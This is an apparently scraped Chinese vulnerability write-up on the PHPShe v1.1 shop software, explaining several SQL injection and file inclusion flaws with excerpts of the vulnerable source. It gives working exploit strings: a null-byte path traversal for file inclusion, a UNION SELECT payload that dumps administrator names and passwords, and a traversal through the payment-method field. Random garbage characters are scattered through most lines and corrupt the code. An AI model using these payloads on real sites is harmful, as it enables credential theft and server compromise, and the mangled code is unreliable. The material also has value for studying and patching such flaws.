phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
  w$ m, x$ r3 u! D/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输

" E  V" a- `6 ~) _4 Q8 {
3 u: |. q: C  j6 P( a" z
; e! X# X' R) M1 e$ ^+ [//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
: @8 }% g/ e7 O}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
9 f/ s  {8 l# [!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
4 d% L! g% R5 j1 M/ D}
: U& n+ S3 b- m, ysession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
9 z2 @  Z" g4 _, `!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
' n+ \  m# q7 h- \
- {$ K# l" l" F" H5 F4 X  ~0×01 包含漏洞

. t1 O" W% n6 K( C- Y
. }$ c' ?6 }3 I! r//首页文件
3 V' g& E* `' r( l. ~<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
! i4 ?% A  `0 _4 g9 rurl路由配置
$module = $mod = $act = 'index';
; @' j* ?0 {9 T0 n2 }, Z  R6 J$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

% i/ `0 m5 W7 H) ?' Y6 a7 _. R
  `, G0 N( P3 n) v6 _ 0×02 搜索注入
* a& C- \9 n9 _8 Q. N1 e7 i  ]2 g
$ }  j& c' \+ k% D9 _% ?/ l<code id="code2">

//product.php文件
case 'list':
* g% x. K- |9 X$category_id = intval($id);
! k' H" c2 m( r/ Z, ?$ w$info = $db->pe_select('category', array('category_id'=>$category_id));
& ?( r* {5 B% o4 Q//搜索
* m# u1 U% `$ @0 s, ?$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
* D8 C5 T: P" k9 j8 iwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
* p) m, ^3 u6 y, ~7 U" I8 Q1 N  @2 ]}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
! B" d% x9 F4 x4 i, ]}
else {
$sqlwhere .= " order by `product_id` desc";
3 i. h  [0 q* g7 R5 R* g' i}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
2 g9 E7 l! x! l, V//热卖排行
$product_hotlist = product_hotlist();
//当前路径
# b" y( b4 F9 m) }4 X$nowpath = category_path($category_id);
4 F2 z6 D1 ?# e$seo = pe_seo($info['category_name']);
" O1 T- [. e$ ]4 j" y" C1 Winclude(pe_tpl('product_list.html'));
+ p1 I2 ^% U( d//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
, Z+ Q, E3 j% q. H5 b" {4 J0 y{
- O" ~/ Q& d  s! U+ p//处理条件语句
: N# D  k  W- n. {" U9 p2 y9 a$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
/ I) l! y1 o+ [( v7 u//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
& _2 p# G; }0 _8 ]! p; J
) q6 P' S" f! c! [9 k- n) q3 C4 @0×03 包含漏洞2

$ A3 N8 w. u' _+ t- o4 K- t<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

% Q3 Y1 p# L: X: [8 dforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

2 M5 O8 D+ Z' C. a1 }2 Y1 uif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

) z) h! `) i- Sif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

0 K+ {# L( F* X$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

% x# t; ?: _# v, F( N0 R}

echo '正在为您连接支付网站，请稍后...';

& J3 b+ d9 C/ K0 Rinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

* ?7 X& ^: {. m7 n, U8 c8 Melse {

pe_error('支付错误...');

}

, t6 N1 q6 P( f$ ~6 l}

# ]; Z# y1 i1 f7 ]) p$ X$seo = pe_seo('选择支付方式');

% ^+ g4 F* {! `$ T- H! v5 m6 winclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>